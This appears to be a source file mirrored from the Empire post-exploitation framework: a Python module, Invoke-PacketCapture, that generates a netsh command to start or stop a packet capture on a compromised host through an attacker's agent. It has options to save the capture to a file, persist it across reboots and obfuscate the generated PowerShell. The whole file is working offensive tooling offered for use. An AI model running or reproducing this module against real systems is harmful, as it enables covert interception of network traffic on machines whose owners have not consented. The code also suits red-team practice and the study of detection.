mirror of
https://github.com/EmpireProject/Empire
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xorrior
95 lines
3.1 KiB
Python
95 lines
3.1 KiB
Python
from lib.common import helpers
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class Module:
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def __init__(self, mainMenu, params=[]):
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self.info = {
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'Name': 'Invoke-PacketCapture',
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'Author': ['@obscuresec', '@mattifestation'],
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'Description': ('Starts a packet capture on a host using netsh.'),
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'Background' : False,
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'OutputExtension' : None,
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'NeedsAdmin' : True,
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'OpsecSafe' : False,
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'Language' : 'powershell',
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'MinLanguageVersion' : '2',
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'Comments': [
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'http://obscuresecurity.blogspot.com/p/presentation-slides.html',
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'http://blogs.msdn.com/b/canberrapfe/archive/2012/03/31/capture-a-network-trace-without-installing-anything-works-for-shutdown-and-restart-too.aspx'
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]
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}
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# any options needed by the module, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Agent' : {
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'Description' : 'Agent to run module on.',
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'Required' : True,
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'Value' : ''
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},
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'MaxSize' : {
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'Description' : 'Maximum size of capture file. Blank for no limit.',
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'Required' : True,
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'Value' : '100MB'
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},
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'TraceFile' : {
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'Description' : 'File to log the capture out to.',
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'Required' : True,
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'Value' : 'C:\\capture.etl'
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},
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'Persistent' : {
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'Description' : 'Switch. Persist capture across reboots.',
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'Required' : False,
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'Value' : ''
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},
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'StopTrace' : {
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'Description' : 'Switch. Stop trace capture.',
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'Required' : False,
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'Value' : ''
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self, obfuscate=False, obfuscationCommand=""):
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maxSize = self.options['MaxSize']['Value']
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traceFile = self.options['TraceFile']['Value']
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persistent = self.options['Persistent']['Value']
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stopTrace = self.options['StopTrace']['Value']
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if stopTrace.lower() == "true":
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script = "netsh trace stop"
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else:
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script = "netsh trace start capture=yes traceFile=%s" %(traceFile)
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if maxSize != "":
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script += " maxSize=%s" %(maxSize)
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if persistent != "":
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script += " persistent=yes"
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if obfuscate:
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script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
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return script
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